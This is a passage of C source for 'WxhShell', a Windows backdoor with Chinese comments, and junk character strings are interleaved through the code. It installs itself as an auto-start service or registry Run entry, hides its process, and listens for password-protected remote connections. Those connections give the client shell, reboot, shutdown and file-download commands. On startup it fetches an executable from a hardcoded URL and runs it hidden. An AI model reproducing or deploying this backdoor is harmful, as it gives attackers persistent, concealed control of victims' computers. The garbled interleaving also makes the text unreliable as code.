3.oA static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; UU`qI}Ys8F static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]F!h~> | 'G$}]H HANDLE hProcess; 6}2Lt[>O PROCESS_BASIC_INFORMATION pbi; g'E^@1{ r; !us~ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b\mN^P~>A if(NULL == hInst ) return 0; rD?o97 ]A[~2] g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0@;E8^pa g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IRB;Q(Z
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `0N/
/Q \g/E4U.+ if (!NtQueryInformationProcess) return 0; :;QLoZh^ [MG:Ym).2` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >TgO|mq if(!hProcess) return 0; E)bP}:4V Dl6zl6q? if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;
q~C6+ %l,EA#89s CloseHandle(hProcess); "`zw( uIBV1Qz hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WxdYvmp6z[ if(hProcess==NULL) return 0; ;H.r6 `SWK(=' HMODULE hMod; ^+&}:9Ml char procName[255]; FMiYZ1^r unsigned long cbNeeded; wqsnyP/m WJWhx4Hk if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RIlPH~
xi0&"?7la CloseHandle(hProcess); z`CIgSR GS@ wG if(strstr(procName,"services")) return 1; // 以服务启动 ;Lx5r=<Hx klKt^h- return 0; // 注册表启动 yL1\V7GI{[ } m`t7-kiZ UNJ|J$T] // 主模块 v{+*/NQ_ int StartWxhshell(LPSTR lpCmdLine) ?*g]27f11 { 5UqCRz<,R SOCKET wsl; l6RJour BOOL val=TRUE; &E~7ty' int port=0; s_|wvOW)' struct sockaddr_in door; *|cvx:GO 6K&V} if(wscfg.ws_autoins) Install(); ax$0J|}7 yl*S|= 8;k port=atoi(lpCmdLine); K>-m8.~\E J_tJj8 if(port<=0) port=wscfg.ws_port; _ h#G- 'RhMzPmY> WSADATA data; n*V^Qf if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7 @ZL(G /3fo=7G6 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; *E>YLkg] setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [Gu]p& door.sin_family = AF_INET; [}Nfs3IlBw door.sin_addr.s_addr = inet_addr("127.0.0.1"); (jXgJ" m door.sin_port = htons(port); ?tOzhrv ;2$^=:8 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ky*-_ closesocket(wsl); #nnP.t m return 1; @|M10r9E } G$q=WM!%#s H7WKnn@ if(listen(wsl,2) == INVALID_SOCKET) { t+pI<c^]y closesocket(wsl); ~ohW9Z1 return 1; 6SpkeXL } N$.''D?7D Wxhshell(wsl); edch'H^2+P WSACleanup(); =,sMOJc> ?x:\RNB/ return 0; #3.\}d) y|X[NSA } }/6jom9U? ]wP)!UZ // 以NT服务方式启动 2o,%O91p VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^<<
Wqmx { OyVp 3O DWORD status = 0; Fw=-gb_. DWORD specificError = 0xfffffff; xi-^_I <K)^MLgN serviceStatus.dwServiceType = SERVICE_WIN32; fO9e ; serviceStatus.dwCurrentState = SERVICE_START_PENDING; ^ c:(HUo# serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \jC}>9 serviceStatus.dwWin32ExitCode = 0; 4Vt YR serviceStatus.dwServiceSpecificExitCode = 0; mI l_
[ serviceStatus.dwCheckPoint = 0; yfq"atj serviceStatus.dwWaitHint = 0; e-Eoe_k KktQA*G hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D:%v((Ccw if (hServiceStatusHandle==0) return; :.@gd7T 1Azigd0% status = GetLastError(); Pb!kl # if (status!=NO_ERROR) 98A ; R { Zl]\sJ1" serviceStatus.dwCurrentState = SERVICE_STOPPED; &K}!R$[,:P serviceStatus.dwCheckPoint = 0; %c[by serviceStatus.dwWaitHint = 0; Lt_7pb% serviceStatus.dwWin32ExitCode = status; T*z >A serviceStatus.dwServiceSpecificExitCode = specificError; O||M
| SetServiceStatus(hServiceStatusHandle, &serviceStatus); JGJQ5zt return; NoV2<m$ } poeKY[]. C^.:{ serviceStatus.dwCurrentState = SERVICE_RUNNING; T-eeYw?Yf serviceStatus.dwCheckPoint = 0; =d`,W9D serviceStatus.dwWaitHint = 0; qbmy~\ZY if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S.BM/M } J-hP4t&x T0v;8Ee // 处理NT服务事件,比如:启动、停止 u3Ua>A- VOID WINAPI NTServiceHandler(DWORD fdwControl)
&+u$96 { x# 0(CcKK switch(fdwControl) GV * B$ { G=(F-U;* case SERVICE_CONTROL_STOP: rj<r6 serviceStatus.dwWin32ExitCode = 0; *s<FE F serviceStatus.dwCurrentState = SERVICE_STOPPED; !|hv49!H serviceStatus.dwCheckPoint = 0; 2?#IwT' serviceStatus.dwWaitHint = 0; nJlrBf_Kj { J6Cw1Pi SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ydh]EO0' } -Y{P"!p0 return; K)N7Y=C3 case SERVICE_CONTROL_PAUSE: 6;k#|-GU& serviceStatus.dwCurrentState = SERVICE_PAUSED; Xh;Pbm|K break; O:WFh;c case SERVICE_CONTROL_CONTINUE: y#o ,Vg*V serviceStatus.dwCurrentState = SERVICE_RUNNING; ]HCu tq break; zaf%% case SERVICE_CONTROL_INTERROGATE: (pNA8i%=G break; =EgiV<6vcH }; C|8.$s< SetServiceStatus(hServiceStatusHandle, &serviceStatus); J[du>1D } s9?klJg a=T_I1 // 标准应用程序主函数 aovRm|aOo' int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }>>lgW>n,; { P'xq+Q UF3WpA // 获取操作系统版本 "JT R5;`w OsIsNt=GetOsVer(); TeSF
GetModuleFileName(NULL,ExeFile,MAX_PATH); QG$LbuZ` !O~EIz // 从命令行安装 ]^uO3!+ if(strpbrk(lpCmdLine,"iI")) Install(); /{#1w\ Ol"*(ea-TX // 下载执行文件 J.N%=-8 if(wscfg.ws_downexe) { =Wn11JGh if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -L}crQl.'c WinExec(wscfg.ws_filenam,SW_HIDE); P33x/#VVE } p(fYpD 2&S*> ( if(!OsIsNt) { n(\5Z& // 如果时win9x,隐藏进程并且设置为注册表启动 X!KjRP\\ HideProc(); sluR@[l StartWxhshell(lpCmdLine); -Zh`h8gX } GcmN40 else `}Ssc-A if(StartFromService()) RoFy2A=_ // 以服务方式启动 }J$Q StartServiceCtrlDispatcher(DispatchTable); x'tYf^Va28 else n$i}r\
so // 普通方式启动 c&vY0/ [ StartWxhshell(lpCmdLine); * _ {w0U) GdVq+,Ge return 0; cD{I*t$ } &_n~# Mex f^\qDvPur Q[O[,Rk Z6#}6Y{ =========================================== SO^:6GuJ o*& D; ^kA^>vi 1'@/jR tEh YQZ ppH5>Y
6c " ?~s,O$o xcz[w}{eEq #include <stdio.h> ,g\%P5 #include <string.h> aVcQ #include <windows.h> Pi7vuOJr8 #include <winsock2.h> OLp;eb1g #include <winsvc.h> UT!gAU #include <urlmon.h> Exd$v"s
Y MdM^!sk&` #pragma comment (lib, "Ws2_32.lib") )D?\ru H #pragma comment (lib, "urlmon.lib") o\6A]T=R f.SV-{O_ #define MAX_USER 100 // 最大客户端连接数 x@/ N9* #define BUF_SOCK 200 // sock buffer h.+{cOA;n #define KEY_BUFF 255 // 输入 buffer No#1Ik w QwPLy O #define REBOOT 0 // 重启 .4DX/~F #define SHUTDOWN 1 // 关机 ~7a(KJgvd" GZXBzZ} #define DEF_PORT 5000 // 监听端口 UZ#Yd|'PD zG)XB*c #define REG_LEN 16 // 注册表键长度 #~<cp)!3 #define SVC_LEN 80 // NT服务名长度 g#b[-)Qx ;T6{J[
h // 从dll定义API } m5AO 4: typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gw[\7 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `@?f@p$(B typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ernZfd{H typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ')ZxWYT
O^ v|r\kr k // wxhshell配置信息 rS1mBrqD struct WSCFG { P6q`i< int ws_port; // 监听端口 c4Q{ char ws_passstr[REG_LEN]; // 口令 <5rs~ int ws_autoins; // 安装标记, 1=yes 0=no #m
yiZL% char ws_regname[REG_LEN]; // 注册表键名 n-iy;L^b char ws_svcname[REG_LEN]; // 服务名 }NX9"}/ char ws_svcdisp[SVC_LEN]; // 服务显示名 78a!@T1# char ws_svcdesc[SVC_LEN]; // 服务描述信息 $qOV#,@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fT9z 4[M int ws_downexe; // 下载执行标记, 1=yes 0=no
c
*<"& char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uFxhr2
<z char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zGKDH=Yy ; 5cLq6[uO }; f%r0K6p \Y;LbB8D
// default Wxhshell configuration "p]bsJG struct WSCFG wscfg={DEF_PORT, JBX#U@k>I "xuhuanlingzhe", o&M2POI~q 1, 8w,U[aJm "Wxhshell", 9v[cy` \ "Wxhshell", cTpmklq "WxhShell Service", /B>p.%M[& "Wrsky Windows CmdShell Service", 8$Igo$U- "Please Input Your Password: ", FCO5SX#-g 1, 7+^9"k7 "http://www.wrsky.com/wxhshell.exe", F<SCW+>z2a "Wxhshell.exe" |.kYomJ }; Hj&mwn] pPr/r& r // 消息定义模块 rHhn)m char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -"*UICd char *msg_ws_prompt="\n\r? for help\n\r#>"; oy+`` W~ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nsO! char *msg_ws_ext="\n\rExit."; d)V"tSC, char *msg_ws_end="\n\rQuit."; Ec!fx\ char *msg_ws_boot="\n\rReboot..."; N6CWEIJ char *msg_ws_poff="\n\rShutdown..."; gcLwQ- char *msg_ws_down="\n\rSave to "; a`SQcNBf* T(UdV]~]" char *msg_ws_err="\n\rErr!"; -mD<8v[F char *msg_ws_ok="\n\rOK!"; InI^,&< WH`E=p^x4 char ExeFile[MAX_PATH]; pUs:r0B int nUser = 0; {a>a?fVU HANDLE handles[MAX_USER]; (dSf>p r2 int OsIsNt; G01 J1Ll} XL@Y! SERVICE_STATUS serviceStatus; 5HWVK . SERVICE_STATUS_HANDLE hServiceStatusHandle; Z0yy<9q]2 ?_S f // 函数声明 ["FC int Install(void); 53y,eLf int Uninstall(void); \SB~rz"A int DownloadFile(char *sURL, SOCKET wsh); H)XHlO^ int Boot(int flag); $i#
1<Qj void HideProc(void);
OC0dAxq int GetOsVer(void); t- Rp_2t int Wxhshell(SOCKET wsl); ?Bg<74 void TalkWithClient(void *cs); ` oBlv int CmdShell(SOCKET sock); "S$4pj`< int StartFromService(void); x,kZ>^]&b int StartWxhshell(LPSTR lpCmdLine); [X >sG)0S~ ] r8
hMv VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b"`Vn, VOID WINAPI NTServiceHandler( DWORD fdwControl ); :mwNkT2et qw]:oh&G // 数据结构和表定义 T<!&6,N A SERVICE_TABLE_ENTRY DispatchTable[] = [c6I/U=- { yc|j]? {wscfg.ws_svcname, NTServiceMain}, eUiJl6^x {NULL, NULL} Z1V%pg>]* }; x --buO ~N</;{}fL4 // 自我安装 3Q-i%7l int Install(void) TF)OBN~/ { L,I5/K6 char svExeFile[MAX_PATH]; SoS GQ&k HKEY key; 6mH0|:CsY strcpy(svExeFile,ExeFile); 7_ $Xt)Y{ .(!> *ka| // 如果是win9x系统,修改注册表设为自启动 U p1&( if(!OsIsNt) { q%HT)^F9oO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &p\fdR4e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /mELnJ^ RegCloseKey(key); yFfa/d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9Q
4m9} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [K2\e N~g RegCloseKey(key); k0;N D return 0; }Qjp,(ye } 76i)m! } (h8M } b_Us%{ else { .]_Ye.} !P*1^8b`f // 如果是NT以上系统,安装为系统服务 3?Ckk{)& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2l43/aCq if (schSCManager!=0) E\U6n ""] { RfP>V/jy5 SC_HANDLE schService = CreateService Vc!` BiH ( 0Xmp)_vba schSCManager, !2dA8b wscfg.ws_svcname, A?{ X5`y wscfg.ws_svcdisp, _*b1]< SERVICE_ALL_ACCESS, g(d9=xq@k SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =*Z=My}3~ SERVICE_AUTO_START, [da,SM SERVICE_ERROR_NORMAL, Vmj7`w& svExeFile, xpo<1Sr>S NULL, np|3 os NULL, ^WDAW#f*< NULL, voRr9E*n NULL, kz]vXJ NULL Y,O)"6ev ); R:+2}kS5e{ if (schService!=0) ]w!gv
/; { ,fS}cpV CloseServiceHandle(schService); Vl;GQe CloseServiceHandle(schSCManager); KjR^6v strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v,t&t9}/ strcat(svExeFile,wscfg.ws_svcname); -uZ bVd if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { / d
S! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y40Hcc+Fx RegCloseKey(key); %x_c2 return 0; %GUu{n<6 } \VmqK&9 } 8D[8(5 CloseServiceHandle(schSCManager); Jd_w:H. } h>v;1QO9D } s^KUe%am0 b-e3i;T!}~ return 1; 1
h(oty2p } uWw4l"RK` Skgvnmk[U // 自我卸载 41luFtE9 int Uninstall(void) @DgJxY| { 6Q]c]cCu HKEY key; a`5ODW+ D`]Lm 24_] if(!OsIsNt) { %OW LM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u}u;jTi>2 RegDeleteValue(key,wscfg.ws_regname); @vWC "W RegCloseKey(key); Ui6f>0? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (uG.s %I RegDeleteValue(key,wscfg.ws_regname); QF/A-[V RegCloseKey(key); 3nt&Sf return 0; wCiDvHF5+C } srfFJX7* } .5+*,+- } ;2"#X2B else { A:Z$i5%' 3ThCY` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7
}`c:u~j if (schSCManager!=0) qJ QE|VM& { |B&KT SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G1MuH%4 if (schService!=0) 4HlOv%8 { 8[LwG& if(DeleteService(schService)!=0) { ;+]9KIa_Pq CloseServiceHandle(schService); Dt,b\6 CloseServiceHandle(schSCManager); & f7 {3BK return 0; [.DSY[!8U } (A2x CloseServiceHandle(schService); Y(IT#x?p } Vm.&JVb CloseServiceHandle(schSCManager); UF)rBAv(/ } Zd@'s.,J } LO@.aJpp
%Kd&A* return 1; ,]@ K6 } .$b]rx7$~ e*_8B2da // 从指定url下载文件 %+oWW5q7 int DownloadFile(char *sURL, SOCKET wsh) dsP|j(y { |K?fVL HRESULT hr; `j*&F8} char seps[]= "/"; Ko6tp9G char *token; Z qX U char *file; fq/F|c char myURL[MAX_PATH]; Bb[%?~
E! char myFILE[MAX_PATH]; pq[RH-{ bF %#KSVw strcpy(myURL,sURL); rDkAeX0 token=strtok(myURL,seps); lTe}[@( while(token!=NULL) K7}EL|Kx { "pq#A* file=token; DX.u"&Mm token=strtok(NULL,seps); 7"F
w8;k } .{D[!Dp#h dDN#>| GetCurrentDirectory(MAX_PATH,myFILE); +7?p&-r)x strcat(myFILE, "\\"); mfOr+ strcat(myFILE, file); v 1Yf:c send(wsh,myFILE,strlen(myFILE),0); cSCO7L2E18 send(wsh,"...",3,0); .58>KBj( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FRI<A8 if(hr==S_OK) $Ch!]lJA return 0; \UFno$;mA else h.c<A{[I6c return 1;
r(pp = kvs^*X''Ep } \&]M \ P<GY"W+rR // 系统电源模块 NL&(/72V int Boot(int flag) uyP)5, { /6}4<~~4TA HANDLE hToken; ?RGL0`Lg TOKEN_PRIVILEGES tkp; GutH}Kz"& yA*~O$~Y if(OsIsNt) { 2|F.J G^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dT8m$}h9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M= !Fb tkp.PrivilegeCount = 1; Mt)~:V+: tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8'J>@ uW AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Wq
7
c/| if(flag==REBOOT) { g#~ jF if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +]H9:ARI return 0; +U&aK dQs } ?H1I,]Di else { h!56?4,%Y if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Gxv@ a return 0; F.c`0u;= } bTZ/$7pp9 } M$#zvcp else { i+T#z if(flag==REBOOT) { G T#hqt'1x if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #*q`/O5n return 0; '1;Q'-/J } s$6zA
j! else { T[>h6d if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qC?J`
return 0; /Ik_U?$* } [P8Y } yXS ~PG iZ#dS}VlJ return 1; 6~?7CK } 5%(J +d Da1BxbDeI // win9x进程隐藏模块 *MW)APw= void HideProc(void)
S%uH*&` { <ro0}%-z>M {%.
_cR2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K"VphKvR if ( hKernel != NULL ) ('Wo#3b$ { E4[
|=< pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v^y3r ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }
IFZ$Y FreeLibrary(hKernel); Htl6Mr*{ } Ya*lq!
u KCJ zE> return; {,.1KtrSN } ][S<M24]Q -(~Tu>KaH // 获取操作系统版本 5^cPG" 4@ int GetOsVer(void) :Gqyj_|< { >T;"bcb OSVERSIONINFO winfo; 6#vD>@H winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I?dh"*Js& GetVersionEx(&winfo); fF[n?:VV if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pA3j@w return 1; T[U&Y`3g else l@Ma{*s6=5 return 0; ##Z:/SU } l*uNi47| -en:81a# // 客户端句柄模块 !vfjo[v
int Wxhshell(SOCKET wsl) xB]~%nC[O { M |?qSFv: SOCKET wsh; _7~O>. struct sockaddr_in client; \:4WbM:B DWORD myID; cZ\#074u/ @!'Pr$` while(nUser<MAX_USER) ?'CIt5n+\{ { |@]J*Kh int nSize=sizeof(client); gC;y>YGP wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;5=J'8f if(wsh==INVALID_SOCKET) return 1; 3m#v|52oj K6@QZc5.! handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); );}k@w
fw) if(handles[nUser]==0) \MsAdYR
closesocket(wsh); cbsy&U else WG NuB9R nUser++; /tc*jXB } TU$/3fp* WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "^ydoRZ dc5w_98o return 0; n*CH,fih: } !e&ZhtTuC &fdH
HN // 关闭 socket yX$I<L<Suz void CloseIt(SOCKET wsh) W)1)zOD { C 6Bh[:V& closesocket(wsh); gHQ[D|zu nUser--; djS?$WBpU ExitThread(0); b(_PCVC } ( u@[}! .6xP>!E}Q // 客户端请求句柄 ,E3"AisI void TalkWithClient(void *cs) { r`l { zwN;CD1 -dsB@nPiUw SOCKET wsh=(SOCKET)cs; 2WIL0Siwl char pwd[SVC_LEN]; Pr{? A]dQ char cmd[KEY_BUFF]; ?Bq"9*q char chr[1]; :7D&=n ) int i,j; jRm:9`.Q ]N NLr;p while (nUser < MAX_USER) { pM@|P,w { |]RV[S3v if(wscfg.ws_passstr) { /gL(40 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 49bzHEqZ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p H5IBIf' //ZeroMemory(pwd,KEY_BUFF); S+R<wv,6 i=0; vpFN{UfD while(i<SVC_LEN) { j,80EhZ hc5M)0d // 设置超时 &}nU#)IX fd_set FdRead; pB@8b$8(Z struct timeval TimeOut; _J }ce FD_ZERO(&FdRead); *SzP7]1m FD_SET(wsh,&FdRead); AEX]_1TG TimeOut.tv_sec=8; #57nm]? TimeOut.tv_usec=0; oylY1~~}0K int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^uW](2 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _YWw7q H?sl_3-# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9.qI hg pwd=chr[0]; >>rW-& if(chr[0]==0xd || chr[0]==0xa) { ?t'ZX~k pwd=0; 3q R@$pm break; MxuwEV|^ } ik+qx~+`Qv i++; 7B _;YT } R@5jEf T3[\;ib} // 如果是非法用户,关闭 socket 9<k<HmkD if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j?i Ur2 } 8JAA?0L"' $^.LZ1Jd send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d;|e7$F' send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8X!UtHml [z]@<99/ while(1) { p/:)Z_ D'YF[l ZeroMemory(cmd,KEY_BUFF); i6-q%%]6 "FT5]h // 自动支持客户端 telnet标准 W8,XSUl j=0; hmtRs]7 while(j<KEY_BUFF) { _U1~^ucV if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `)`_G!a cmd[j]=chr[0]; D%LqLLD if(chr[0]==0xa || chr[0]==0xd) { 6dV@.(][a cmd[j]=0; xrA(#\}f$ break; .LEQ r) } Bz_['7D j++; 1.o-2:]E } s{NEP/QQJ p)f OAr // 下载文件 >@[`, if(strstr(cmd,"http://")) { U`,&Q] send(wsh,msg_ws_down,strlen(msg_ws_down),0); [@"H2#CQ if(DownloadFile(cmd,wsh)) ?;0=>3p*0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); g:q+.6va" else aa_&WHXkt send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hQ i[7r($8 } !aeL*`; else { (s
%T18 !w[<?+%%n switch(cmd[0]) { Bg-C:Ok2' $N5VoK // 帮助 Z_iu^Q case '?': { #-'=)l}i1A send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =jkC]0qx
break; aj20, w } R)I 8 ) // 安装 X8ev uN case 'i': { 82~UI'f \ if(Install()) vPR1
TMi> send(wsh,msg_ws_err,strlen(msg_ws_err),0); MfJk`-%~ else Xf:CGR8_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mbsdiab#N break; ^v}Z5,aN } j$Vv'on // 卸载 {v+i!a'+ case 'r': { &s"&rFFO[ if(Uninstall()) 3Ym5SrKK send(wsh,msg_ws_err,strlen(msg_ws_err),0); c#OZ=` else S&6}9r send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .hg<\-:_ break; H
#J"' } :u'X
~ID[ // 显示 wxhshell 所在路径 DGC-`z case 'p': { Eg3rbqM- 8 char svExeFile[MAX_PATH]; YZ7rs]A strcpy(svExeFile,"\n\r"); R#
8D}5[& strcat(svExeFile,ExeFile); e=%7tK* send(wsh,svExeFile,strlen(svExeFile),0); (gNI6;P;} break; %\}|& |